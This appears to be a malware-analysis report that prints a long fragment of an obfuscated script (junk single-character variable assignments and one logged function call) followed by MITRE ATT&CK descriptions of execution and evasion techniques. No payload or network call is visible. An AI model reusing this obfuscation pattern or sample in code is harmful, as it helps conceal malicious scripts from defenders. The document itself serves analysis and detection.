425	rnuqwnee = "E";
426	rnuqwnee = "k";
427	rnuqwnee = "V";
428	rnuqwnee = "k";
429	rnuqwnee = "H";
430	rnuqwnee = "G";
431	rnuqwnee = "w";
432	rnuqwnee = "L";
433	rnuqwnee = "g";
434	rnuqwnee = "C";
435	rnuqwnee = "x";
436	rnuqwnee = "V";
437	rnuqwnee = "b";
438	rnuqwnee = "C";
439	rnuqwnee = "N";
440	rnuqwnee = "n";
441	rnuqwnee = "s";
442	rnuqwnee = "S";
443	rnuqwnee = "D";
444	rnuqwnee = "%";
445	iftuvtej = "U";
446	iftuvtej = "A";
447	iftuvtej = "d";
448	iftuvtej = "t";
449	iftuvtej = "Q";
450	iftuvtej = "S";
451	iftuvtej = "p";
452	iftuvtej = "C";
453	iftuvtej = "y";
454	iftuvtej = "f";
455	iftuvtej = "I";
456	iftuvtej = "x";
457	iftuvtej = "h";
458	iftuvtej = "K";
459	iftuvtej = "u";
460	iftuvtej = "J";
461	iftuvtej = "n";
462	iftuvtej = "l";
463	iftuvtej = "H";
464	iftuvtej = "T";
465	iftuvtej = "Z";
466	iftuvtej = "S";
467	iftuvtej = "S";
468	iftuvtej = "Q";
469	iftuvtej = "t";
470	iftuvtej = "x";
471	iftuvtej = "a";
472	iftuvtej = "o";
473	iftuvtej = "f";
474	iftuvtej = "d";
475	iftuvtej = "w";
476	iftuvtej = "h";
477	iftuvtej = "M";
478	iftuvtej = "E";
479	vpanhudps = "V";
480	vpanhudps = "E";
481	vpanhudps = "h";
482	vpanhudps = "l";
483	vpanhudps = "C";
484	vpanhudps = "B";
485	vpanhudps = "k";
486	vpanhudps = "j";
487	vpanhudps = "O";
488	vpanhudps = "s";
489	vpanhudps = "p";
490	vpanhudps = "r";
491	vpanhudps = "z";
492	vpanhudps = "p";
493	vpanhudps = "u";
494	vpanhudps = "g";
495	vpanhudps = "j";
496	vpanhudps = "d";
497	vpanhudps = "I";
498	vpanhudps = "y";
499	vpanhudps = "m";
500	vpanhudps = "D";
501	vpanhudps = "f";
502	vpanhudps = "H";
503	vpanhudps = "A";
504	vpanhudps = "D";
505	vpanhudps = "n";
506	vpanhudps = "z";
507	vpanhudps = "d";
508	vpanhudps = "z";
509	vpanhudps = "d";
510	vpanhudps = "M";
511	vpanhudps = "j";
512	vpanhudps = "H";
513	vpanhudps = "Y";
514	vpanhudps = "w";
515	vpanhudps = "v";
516	gkyewj = "H";
517	gkyewj = "m";
518	gkyewj = "n";
519	gkyewj = "D";
520	gkyewj = "H";
521	gkyewj = "F";
522	gkyewj = "t";
523	gkyewj = "r";
524	gkyewj = "U";
525	gkyewj = "V";
526	gkyewj = "y";
527	gkyewj = "k";
528	gkyewj = "J";
529	gkyewj = "u";
530	gkyewj = "m";
531	gkyewj = "e";
532	gkyewj = "E";
533	gkyewj = "c";
534	yiafmmcf = "f";
535	yiafmmcf = "l";
536	yiafmmcf = "P";
537	yiafmmcf = "L";
538	yiafmmcf = "U";
539	yiafmmcf = "Y";
540	yiafmmcf = "i";
541	yiafmmcf = "P";
542	yiafmmcf = "A";
543	yiafmmcf = "j";
544	yiafmmcf = "h";
545	yiafmmcf = "C";
546	yiafmmcf = "E";
547	yiafmmcf = "M";
548	yiafmmcf = "G";
549	yiafmmcf = "E";
550	yiafmmcf = "w";
551	yiafmmcf = "n";
552	yiafmmcf = "M";
553	yiafmmcf = "e";
554	yiafmmcf = "e";
555	yiafmmcf = "s";
556	yiafmmcf = "k";
557	yiafmmcf = "S";
558	yiafmmcf = "d";
559	yiafmmcf = "i";
560	yiafmmcf = "i";
561	yiafmmcf = "Z";
562	yiafmmcf = "w";
563	yiafmmcf = "Q";
564	yiafmmcf = "t";
565	yiafmmcf = "y";
566	yiafmmcf = "f";
567	yiafmmcf = "j";
568	yiafmmcf = "D";
569	yiafmmcf = "b";
570	yiafmmcf = "P";
571	yiafmmcf = "P";
572	yiafmmcf = "v";
573	yiafmmcf = "n";
574	yiafmmcf = "p";
575	whgci = "A";
576	whgci = "I";
577	whgci = "T";
578	whgci = "t";
579	whgci = "v";
580	whgci = "D";
581	whgci = "m";
582	whgci = "i";
583	whgci = "U";
584	whgci = "p";
585	whgci = "h";
586	whgci = "d";
587	whgci = "O";
588	whgci = "D";
589	whgci = "p";
590	whgci = "Y";
591	whgci = "D";
592	whgci = "S";
593	whgci = "i";
594	whgci = "S";
595	whgci = "v";
596	whgci = "l";
597	whgci = "I";
598	whgci = "k";
599	whgci = "n";
600	whgci = "d";
601	whgci = "o";
602	whgci = "I";
603	whgci = "f";
604	whgci = "O";
605	whgci = "L";
606	whgci = "O";
607	whgci = "f";
608	whgci = "x";
609	whgci = "v";
610	whgci = "L";
611	whgci = "h";
612	whgci = "K";
613	whgci = "w";
614	whgci = "o";
615	whgci = "u";
616	whgci = "9";
617	sfhkmpuok = "k";
618	sfhkmpuok = "g";
619	sfhkmpuok = "G";
620	sfhkmpuok = "R";
621	sfhkmpuok = "V";
622	sfhkmpuok = "J";
623	sfhkmpuok = "k";
624	sfhkmpuok = "E";
625	sfhkmpuok = "A";
626	sfhkmpuok = "i";
627	sfhkmpuok = "l";
628	sfhkmpuok = "i";
629	sfhkmpuok = "l";
630	sfhkmpuok = "S";
631	sfhkmpuok = "J";
632	sfhkmpuok = "g";
633	sfhkmpuok = "q";
634	sfhkmpuok = "U";
635	sfhkmpuok = "Y";
636	sfhkmpuok = "l";
637	sfhkmpuok = "D";
638	sfhkmpuok = "f";
639	sfhkmpuok = "b";
640	sfhkmpuok = "y";
641	sfhkmpuok = "g";
642	sfhkmpuok = "t";
643	sfhkmpuok = "e";
644	sfhkmpuok = "u";
645	sfhkmpuok = "I";
646	sfhkmpuok = "g";
647	sfhkmpuok = "b";
648	sfhkmpuok = "U";
649	sfhkmpuok = "N";
650	gylxstqqv = "l";
651	gylxstqqv = "N";
652	gylxstqqv = "f";
653	gylxstqqv = "A";
654	gylxstqqv = "D";
655	gylxstqqv = "Z";
656	gylxstqqv = "j";
657	gylxstqqv = "w";
658	gylxstqqv = "Y";
659	gylxstqqv = "U";
660	gylxstqqv = "X";
661	gylxstqqv = "N";
662	gylxstqqv = "U";
663	gylxstqqv = "w";
664	gylxstqqv = "L";
665	gylxstqqv = "k";
666	gylxstqqv = "L";
667	gylxstqqv = "k";
668	gylxstqqv = "X";
669	gylxstqqv = "t";
670	gylxstqqv = "Q";
671	gylxstqqv = "x";
672	gylxstqqv = "u";
673	gylxstqqv = "B";
674	gylxstqqv = "G";
675	gylxstqqv = "I";
676	gylxstqqv = "z";
677	gylxstqqv = "O";
678	gylxstqqv = "K";
679	gylxstqqv = "y";
680	gylxstqqv = "f";
681	gylxstqqv = "l";
682	gylxstqqv = "n";
683	gylxstqqv = "r";
684	gylxstqqv = "S";
685	gylxstqqv = "L";
686	gylxstqqv = "r";
687	ujiepjo = "g";
688	ujiepjo = "i";
689	ujiepjo = "H";
690	ujiepjo = "N";
691	ujiepjo = "Q";
692	ujiepjo = "U";
693	ujiepjo = "D";
694	ujiepjo = "G";
695	ujiepjo = "O";
696	ujiepjo = "H";
697	ujiepjo = "Y";
698	ujiepjo = "e";
699	ujiepjo = "V";
700	ujiepjo = "w";
701	ujiepjo = "s";
702	ujiepjo = "O";
703	ujiepjo = "s";
704	ujiepjo = "B";
705	ujiepjo = "o";
706	ujiepjo = "x";
707	ujiepjo = "p";
708	ujiepjo = "C";
709	ujiepjo = "A";
710	ujiepjo = "E";
711	ujiepjo = "b";
712	ujiepjo = "N";
713	ujiepjo = "O";
714	ujiepjo = "m";
715	ujiepjo = "@";
716	fatvjtqgx = "W";
717	mqhjnih = "r";
718	mqhjnih = "S";
719	mqhjnih = "e";
720	mqhjnih = "Q";
721	mqhjnih = "p";
722	mqhjnih = "b";
723	mqhjnih = "i";
724	mqhjnih = "W";
725	mqhjnih = "K";
726	mqhjnih = "d";
727	mqhjnih = "Y";
728	mqhjnih = "N";
729	mqhjnih = "h";
730	mqhjnih = "V";
731	mqhjnih = "k";
732	mqhjnih = "e";
733	mqhjnih = "b";
734	mqhjnih = "x";
735	mqhjnih = "k";
736	mqhjnih = "u";
737	mqhjnih = "f";
738	mqhjnih = "M";
739	mqhjnih = "P";
740	mqhjnih = "u";
741	mqhjnih = "k";
742	mqhjnih = "n";
743	mqhjnih = "c";
744	mqhjnih = "J";
745	mqhjnih = "k";
746	mqhjnih = "p";
747	mqhjnih = "Q";
748	pvgrt = "r";
749	pvgrt = "Q";
750	pvgrt = "T";
751	pvgrt = "c";
752	pvgrt = "s";
753	pvgrt = "Z";
754	pvgrt = "S";
755	pvgrt = "E";
756	pvgrt = "g";
757	pvgrt = "p";
758	pvgrt = "y";
759	pvgrt = "w";
760	pvgrt = "i";
761	pvgrt = "y";
762	pvgrt = "M";
763	pvgrt = "W";
764	pvgrt = "K";
765	pvgrt = "Q";
766	pvgrt = "T";
767	pvgrt = "g";
768	pvgrt = "D";
769	pvgrt = "q";
770	pvgrt = "I";
771	pvgrt = "c";
772	pvgrt = "F";
773	pvgrt = "h";
774	pvgrt = "r";
775	pvgrt = "V";
776	pvgrt = "p";
777	pvgrt = "u";
778	pvgrt = "a";
779	pvgrt = "M";
780	pvgrt = "O";
781	pvgrt = "Y";
782	pvgrt = "D";
783	pvgrt = "1";
784	twhbiie = "Q";
785	twhbiie = "n";
786	twhbiie = "m";
787	twhbiie = "b";
788	twhbiie = "O";
789	twhbiie = "L";
790	twhbiie = "u";
791	twhbiie = "N";
792	twhbiie = "P";
793	twhbiie = "f";
794	twhbiie = "d";
795	twhbiie = "o";
796	twhbiie = "J";
797	twhbiie = "a";
798	twhbiie = "I";
799	twhbiie = "i";
800	twhbiie = "c";
801	twhbiie = "I";
802	twhbiie = "A";
803	twhbiie = "r";
804	twhbiie = "m";
805	twhbiie = "Y";
806	twhbiie = "p";
807	twhbiie = "n";
808	twhbiie = "y";
809	twhbiie = "Y";
810	twhbiie = "h";
811	twhbiie = "z";
812	twhbiie = "U";
813	dksbrd = "F";
814	dksbrd = "Z";
815	dksbrd = "G";
816	dksbrd = "r";
817	dksbrd = "I";
818	dksbrd = "z";
819	dksbrd = "f";
820	dksbrd = "q";
821	dksbrd = "k";
822	dksbrd = "C";
823	dksbrd = "f";
824	dksbrd = "i";
825	dksbrd = "v";
826	dksbrd = "A";
827	dksbrd = "I";
828	dksbrd = "T";
829	dksbrd = "I";
830	dksbrd = "B";
831	dksbrd = "I";
832	dksbrd = "l";
833	dksbrd = "l";
834	dksbrd = "S";
835	dksbrd = "v";
836	dksbrd = "G";
837	dksbrd = "K";
838	dksbrd = "D";
839	dksbrd = "p";
840	dksbrd = "E";
841	dksbrd = "A";
842	dksbrd = "p";
843	dksbrd = "G";
844	dksbrd = "o";
845	dksbrd = "v";
846	dksbrd = "E";
847	dksbrd = "w";
848	dksbrd = "E";
849	dksbrd = "t";
850	ejzxmi = "O";
851	ejzxmi = "i";
852	ejzxmi = "c";
853	ejzxmi = "L";
854	ejzxmi = "Z";
855	ejzxmi = "R";
856	ejzxmi = "Y";
857	ejzxmi = "s";
858	ejzxmi = "s";
859	ejzxmi = "X";
860	ejzxmi = "P";
861	ejzxmi = "S";
862	ejzxmi = "r";
863	ejzxmi = "Z";
864	ejzxmi = "I";
865	ejzxmi = "s";
866	ejzxmi = "O";
867	ejzxmi = "J";
868	ejzxmi = "d";
869	ejzxmi = "x";
870	ejzxmi = "y";
871	ejzxmi = "d";
872	ejzxmi = "s";
873	ejzxmi = "V";
874	ejzxmi = "l";
875	ejzxmi = "d";
876	ejzxmi = "k";
877	ejzxmi = "t";
878	ejzxmi = "M";
879	ejzxmi = "Z";
880	ejzxmi = "d";
881	ejzxmi = "X";
882	ejzxmi = "l";
883	ejzxmi = "u";
884	ejzxmi = "n";
885	ejzxmi = "N";
886	ejzxmi = "Q";
887	ejzxmi = "l";
888	ejzxmi = "a";
889	uaxaaieam = "Z";
890	uaxaaieam = "l";
891	uaxaaieam = "L";
892	uaxaaieam = "X";
893	uaxaaieam = "e";
894	uaxaaieam = "g";
895	uaxaaieam = "o";
896	uaxaaieam = "n";
897	uaxaaieam = "R";
898	uaxaaieam = "i";
899	uaxaaieam = "t";
900	uaxaaieam = "z";
901	uaxaaieam = "x";
902	uaxaaieam = "q";
903	uaxaaieam = "M";
904	uaxaaieam = "x";
905	uaxaaieam = "u";
906	uaxaaieam = "Q";
907	uaxaaieam = "C";
908	uaxaaieam = "Q";
909	uaxaaieam = "W";
910	uaxaaieam = "w";
911	cqaazprd = "Q";
912	cqaazprd = "U";
913	cqaazprd = "N";
914	cqaazprd = "b";
915	cqaazprd = " ";
916	bmzilt = "L";
917	bmzilt = "M";
918	bmzilt = "i";
919	bmzilt = "b";
920	bmzilt = "B";
921	bmzilt = "f";
922	bmzilt = "s";
923	bmzilt = "h";
924	bmzilt = "p";
925	bmzilt = "I";
926	bmzilt = "f";
927	bmzilt = "l";
928	bmzilt = "o";
929	bmzilt = "A";
930	bmzilt = "u";
931	bmzilt = "K";
932	bmzilt = "S";
933	bmzilt = "p";
934	bmzilt = "J";
935	bmzilt = "E";
936	bmzilt = "l";
937	bmzilt = "q";
938	bmzilt = "a";
939	bmzilt = "P";
940	bmzilt = "Y";
941	bmzilt = "Q";
942	bmzilt = "n";
943	bmzilt = "t";
944	bmzilt = "Y";
945	bmzilt = "D";
946	bmzilt = "q";
947	bmzilt = "T";
948	bmzilt = "O";
949	bmzilt = "q";
950	bmzilt = "N";
951	bmzilt = "b";
952	bmzilt = "R";
953	bmzilt = "O";
954	bmzilt = "B";
955	bmzilt = "m";
956	bmzilt = "b";
957	bmzilt = "2";
958	tlisc = "b";
959	tlisc = "v";
960	tlisc = "j";
961	tlisc = "P";
962	tlisc = "v";
963	tlisc = "a";
964	tlisc = "I";
965	cojehg = "i";
966	cojehg = "a";
967	cojehg = "R";
968	cojehg = "c";
969	cojehg = "f";
970	cojehg = "Y";
971	cojehg = "a";
972	cojehg = "S";
973	cojehg = "e";
974	cojehg = "G";
975	cojehg = "U";
976	cojehg = "N";
977	cojehg = "Y";
978	cojehg = "G";
979	cojehg = "b";
980	cojehg = "e";
981	cojehg = "d";
982	cojehg = "p";
983	cojehg = "p";
984	cojehg = "h";
985	cojehg = "F";
986	cojehg = "j";
987	cojehg = "L";
988	cojehg = "j";
989	cojehg = "p";
990	cojehg = "q";
991	cojehg = "b";
992	cojehg = "Y";
993	cojehg = "X";
994	cojehg = "e";
995	cojehg = "U";
996	cojehg = "O";
997	cojehg = "W";
998	cojehg = "W";
999	cojehg = "O";
1000	cojehg = "V";
1001	cojehg = "E";
1002	cojehg = "O";
1003	cojehg = "z";
1004	cojehg = "F";
1005	cojehg = "q";
1006	uzpgz = "N";
1007	uzpgz = "R";
1008	uzpgz = "Y";
1009	uzpgz = "k";
1010	uzpgz = "Y";
1011	uzpgz = "V";
1012	uzpgz = "i";
1013	uzpgz = "y";
1014	uzpgz = "d";
1015	uzpgz = "l";
1016	uzpgz = "c";
1017	uzpgz = "z";
1018	uzpgz = "l";
1019	uzpgz = "k";
1020	uzpgz = "q";
1021	uzpgz = "i";
1022	uzpgz = "F";
1023	uzpgz = "Q";
1024	uzpgz = "H";
1025	wxvzsyty = "a";
1026	wxvzsyty = "O";
1027	wxvzsyty = "L";
1028	wxvzsyty = "d";
1029	wxvzsyty = "x";
1030	wxvzsyty = "n";
1031	oiufe = "q";
1032	oiufe = "N";
1033	oiufe = "G";
1034	oiufe = "P";
1035	oiufe = "Z";
1036	oiufe = "e";
1037	oiufe = "H";
1038	oiufe = "L";
1039	oiufe = "d";
1040	oiufe = "l";
1041	oiufe = "e";
1042	oiufe = "e";
1043	oiufe = "r";
1044	oiufe = "W";
1045	oiufe = "a";
1046	oiufe = "o";
1047	oiufe = "E";
1048	oiufe = "t";
1049	oiufe = "J";
1050	oiufe = "i";
1051	oiufe = "i";
1052	oiufe = "a";
1053	oiufe = "K";
1054	oiufe = "E";
1055	oiufe = "t";
1056	oiufe = "H";
1057	oiufe = "y";
1058	oiufe = "u";
1059	oiufe = "m";
1060	oiufe = "X";
1061	oiufe = "p";
1062	oiufe = "u";
1063	oiufe = "c";
1064	oiufe = "d";
1065	oiufe = "b";
1066	oiufe = "L";
1067	vknbabxx = "v";
1068	vknbabxx = "g";
1069	vknbabxx = "o";
1070	vknbabxx = "H";
1071	vknbabxx = "y";
1072	vknbabxx = "J";
1073	vknbabxx = "5";
1074	hdmtybgy = "u";
1075	hdmtybgy = "a";
1076	hdmtybgy = "q";
1077	hdmtybgy = "D";
1078	hdmtybgy = "G";
1079	hdmtybgy = "M";
1080	hdmtybgy = "M";
1081	hdmtybgy = "J";
1082	hdmtybgy = "l";
1083	hdmtybgy = "u";
1084	hdmtybgy = "Y";
1085	hdmtybgy = "O";
1086	uinheo = "c";
1087	uinheo = "K";
1088	uinheo = "E";
1089	uinheo = "E";
1090	uinheo = "L";
1091	uinheo = "y";
1092	uinheo = "e";
1093	uinheo = "V";
1094	uinheo = "q";
1095	uinheo = "T";
1096	uinheo = "U";
1097	uinheo = "p";
1098	uinheo = "g";
1099	uinheo = "x";
1100	uinheo = "B";
1101	uinheo = "H";
1102	uinheo = "w";
1103	uinheo = "s";
1104	uinheo = "u";
1105	uinheo = "J";
1106	uinheo = "l";
1107	uinheo = "L";
1108	uinheo = "l";
1109	uinheo = "g";
1110	uinheo = "q";
1111	uinheo = "c";
1112	uinheo = "U";
1113	uinheo = "W";
1114	uinheo = "a";
1115	uinheo = "V";
1116	uinheo = "H";
1117	uinheo = "E";
1118	uinheo = "Z";
1119	uinheo = "i";
1120	uinheo = "R";
1121	uinheo = "I";
1122	uinheo = "z";
1123	uinheo = "x";
1124	uinheo = "E";
1125	uinheo = "g";
1126	uinheo = "L";
1127	uinheo = "h";
1128	ytqyyplo = "N";
1129	ytqyyplo = "F";
1130	ytqyyplo = "T";
1131	ytqyyplo = "G";
1132	ytqyyplo = "V";
1133	ytqyyplo = "e";
1134	ytqyyplo = "P";
1135	ytqyyplo = "F";
1136	ytqyyplo = "x";
1137	ytqyyplo = "w";
1138	ytqyyplo = "H";
1139	ytqyyplo = "u";
1140	ytqyyplo = "m";
1141	ytqyyplo = "m";
1142	ytqyyplo = "O";
1143	ytqyyplo = "T";
1144	ytqyyplo = "i";
1145	ytqyyplo = "3";
1146	bgvbt = "x";
1147	bgvbt = "G";
1148	bgvbt = "X";
1149	bgvbt = "V";
1150	bgvbt = "Q";
1151	bgvbt = "e";
1152	bgvbt = "S";
1153	bgvbt = "P";
1154	bgvbt = "Y";
1155	bgvbt = "r";
1156	bgvbt = "A";
1157	bgvbt = "V";
1158	bgvbt = "G";
1159	bgvbt = "s";
1160	bgvbt = "B";
1161	bgvbt = "p";
1162	bgvbt = "l";
1163	bgvbt = "t";
1164	bgvbt = "J";
1165	bgvbt = "a";
1166	bgvbt = "l";
1167	bgvbt = "e";
1168	bgvbt = "y";
1169	bgvbt = "p";
1170	bgvbt = "G";
1171	bgvbt = "u";
1172	bgvbt = "v";
1173	bgvbt = "V";
1174	bgvbt = "_";
1175	ldlcjrq = "J";
1176	ldlcjrq = "h";
1177	ldlcjrq = "N";
1178	ldlcjrq = "h";
1179	ldlcjrq = "b";
1180	ldlcjrq = "x";
1181	onrknrgkr = "B";
1182	onrknrgkr = "U";
1183	onrknrgkr = "F";
1184	onrknrgkr = "o";
1185	onrknrgkr = "h";
1186	onrknrgkr = "t";
1187	onrknrgkr = "Y";
1188	onrknrgkr = "X";
1189	onrknrgkr = "m";
1190	onrknrgkr = "s";
1191	jwxnyq = "R";
1192	jwxnyq = "w";
1193	jwxnyq = "e";
1194	jwxnyq = "U";
1195	jwxnyq = "l";
1196	jwxnyq = "y";
1197	jwxnyq = "G";
1198	jwxnyq = "X";
1199	jwxnyq = "z";
1200	jwxnyq = "G";
1201	jwxnyq = "w";
1202	jwxnyq = "V";
1203	jwxnyq = "s";
1204	jwxnyq = "o";
1205	jwxnyq = "s";
1206	jwxnyq = "O";
1207	jwxnyq = "p";
1208	jwxnyq = "h";
1209	jwxnyq = "S";
1210	jwxnyq = "t";
1211	jwxnyq = "b";
1212	jwxnyq = "o";
1213	jwxnyq = "B";
1214	jwxnyq = "M";
1215	jwxnyq = "f";
1216	jwxnyq = "T";
1217	jwxnyq = "u";
1218	jwxnyq = "R";
1219	jwxnyq = ".";
1220	doxejkvjg = "x";
1221	doxejkvjg = "a";
1222	doxejkvjg = "G";
1223	doxejkvjg = "f";
1224	doxejkvjg = "F";
1225	doxejkvjg = "m";
1226	doxejkvjg = "c";
1227	doxejkvjg = "q";
1228	doxejkvjg = "f";
1229	doxejkvjg = "R";
1230	ndstdqw = "A";
1231	ndstdqw = "X";
1232	ndstdqw = "w";
1233	ndstdqw = "Q";
1234	ndstdqw = "Z";
1235	ndstdqw = "Z";
1236	ndstdqw = "b";
1237	ndstdqw = "Y";
1238	ndstdqw = "y";
1239	ndstdqw = "I";
1240	ndstdqw = "u";
1241	ndstdqw = "P";
1242	ndstdqw = "K";
1243	ndstdqw = "U";
1244	ndstdqw = "o";
1245	ndstdqw = "I";
1246	ndstdqw = "v";
1247	ndstdqw = "y";
1248	ndstdqw = "u";
1249	ndstdqw = "P";
1250	ndstdqw = "n";
1251	ndstdqw = "E";
1252	ndstdqw = "k";
1253	ndstdqw = "m";
1254	aubxo = "u";
1255	aubxo = "P";
1256	aubxo = "r";
1257	aubxo = "S";
1258	aubxo = "R";
1259	aubxo = "F";
1260	aubxo = "A";
1261	aubxo = "e";
1262	aubxo = "u";
1263	aubxo = "K";
1264	aubxo = "b";
1265	aubxo = "W";
1266	aubxo = "B";
1267	aubxo = "Y";
1268	aubxo = "D";
1269	aubxo = "l";
1270	aubxo = "c";
1271	aubxo = "Z";
1272	aubxo = "Q";
1273	aubxo = "j";
1274	aubxo = "v";
1275	aubxo = "T";
1276	aubxo = "p";
1277	aubxo = "z";
1278	aubxo = "\"";
1279	lyyutuv = "T";
1280	lyyutuv = "k";
1281	lyyutuv = "q";
1282	lyyutuv = "b";
1283	lyyutuv = "Y";
1284	lyyutuv = "l";
1285	lyyutuv = "P";
1286	lyyutuv = "w";
1287	lyyutuv = "F";
1288	lyyutuv = "T";
1289	lyyutuv = "e";
1290	lyyutuv = "t";
1291	lyyutuv = "B";
1292	lyyutuv = "z";
1293	lyyutuv = "V";
1294	lyyutuv = "s";
1295	lyyutuv = "W";
1296	lyyutuv = "o";
1297	lyyutuv = "U";
1298	lyyutuv = "z";
1299	lyyutuv = "k";
1300	lyyutuv = "B";
1301	lyyutuv = "U";
1302	lyyutuv = "S";
1303	lyyutuv = "j";
1304	lyyutuv = "U";
1305	lyyutuv = "Y";
1306	lyyutuv = "u";
1307	lyyutuv = "i";
1308	lyyutuv = "u";
1309	lyyutuv = "v";
1310	lyyutuv = "W";
1311	lyyutuv = "a";
1312	lyyutuv = "U";
1313	lyyutuv = "b";
1314	lyyutuv = "L";
1315	lyyutuv = "K";
1316	lyyutuv = "u";
1317	lyyutuv = "L";
1318	lyyutuv = "B";
1319	lyyutuv = "i";
1320	lyyutuv = "w";
1321	lyyutuv = "S";
1322	qcsalz = "B";
1323	qcsalz = "P";
1324	qcsalz = "q";
1325	qcsalz = "I";
1326	qcsalz = "k";
1327	qcsalz = "h";
1328	qcsalz = "F";
1329	qcsalz = "N";
1330	qcsalz = "w";
1331	qcsalz = "M";
1332	qcsalz = "n";
1333	qcsalz = "E";
1334	qcsalz = "h";
1335	qcsalz = "e";
1336	qcsalz = "l";
1337	qcsalz = "e";
1338	qcsalz = "n";
1339	qcsalz = "G";
1340	qcsalz = "D";
1341	qcsalz = "S";
1342	qcsalz = "f";
1343	qcsalz = "C";
1344	qcsalz = "v";
1345	qcsalz = "h";
1346	qcsalz = "L";
1347	qcsalz = "K";
1348	pcbzaq = "w";
1349	pcbzaq = "r";
1350	pcbzaq = "C";
1351	xhanhgv = "i";
1352	xhanhgv = "Q";
1353	xhanhgv = "d";
1354	xhanhgv = "m";
1355	xhanhgv = "k";
1356	xhanhgv = "G";
1357	xhanhgv = "G";
1358	xhanhgv = "a";
1359	xhanhgv = "i";
1360	xhanhgv = "a";
1361	xhanhgv = "P";
1362	xhanhgv = "s";
1363	xhanhgv = "J";
1364	xhanhgv = "e";
1365	xhanhgv = "b";
1366	xhanhgv = "u";
1367	xhanhgv = "p";
1368	xhanhgv = "c";
1369	xhanhgv = "b";
1370	xhanhgv = "s";
1371	xhanhgv = "H";
1372	xhanhgv = "l";
1373	xhanhgv = "G";
1374	xhanhgv = "L";
1375	xhanhgv = "H";
1376	xhanhgv = "o";
1377	aswhzohui = "O";
1378	aswhzohui = "r";
1379	aswhzohui = "l";
1380	aswhzohui = "C";
1381	aswhzohui = "a";
1382	aswhzohui = "C";
1383	aswhzohui = "R";
1384	aswhzohui = "k";
1385	aswhzohui = ":";
1386	lithmko = "Y";
1387	lithmko = "C";
1388	lithmko = "q";
1389	lithmko = "r";
1390	lithmko = "G";
1391	lithmko = "f";
1392	lithmko = "B";
1393	lithmko = "o";
1394	lithmko = "B";
1395	lithmko = "t";
1396	lithmko = "E";
1397	lithmko = "O";
1398	lithmko = "K";
1399	lithmko = "h";
1400	lithmko = "N";
1401	lithmko = "z";
1402	lithmko = "t";
1403	lithmko = "e";
1404	lithmko = "P";
1405	lithmko = "o";
1406	lithmko = "U";
1407	lithmko = "E";
1408	lithmko = "J";
1409	lithmko = "y";
1410	lithmko = "D";
1411	lithmko = "y";
1412	lithmko = "l";
1413	gyqlcgvlm = "V";
1414	gyqlcgvlm = "w";
1415	gyqlcgvlm = "Z";
1416	gyqlcgvlm = "z";
1417	gyqlcgvlm = "E";
1418	gyqlcgvlm = "l";
1419	gyqlcgvlm = "v";
1420	gyqlcgvlm = "S";
1421	gyqlcgvlm = "b";
1422	gyqlcgvlm = "c";
1423	gyqlcgvlm = "f";
1424	gyqlcgvlm = "M";
1425	gyqlcgvlm = "C";
1426	gyqlcgvlm = "T";
1427	gyqlcgvlm = "j";
1428	gyqlcgvlm = "r";
1429	gyqlcgvlm = "W";
1430	gyqlcgvlm = "e";
1431	gyqlcgvlm = "N";
1432	gyqlcgvlm = "Y";
1433	gyqlcgvlm = "e";
1434	gyqlcgvlm = "Y";
1435	gyqlcgvlm = "N";
1436	gyqlcgvlm = "a";
1437	gyqlcgvlm = "v";
1438	gyqlcgvlm = "l";
1439	gyqlcgvlm = "u";
1440	gyqlcgvlm = "Z";
1441	gyqlcgvlm = "p";
1442	gyqlcgvlm = "B";
1443	gyqlcgvlm = "k";
1444	gyqlcgvlm = "b";
1445	gyqlcgvlm = "i";
1446	gyqlcgvlm = "/";
1447	lzvdmyxuh ( );	lzvdmyxuh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
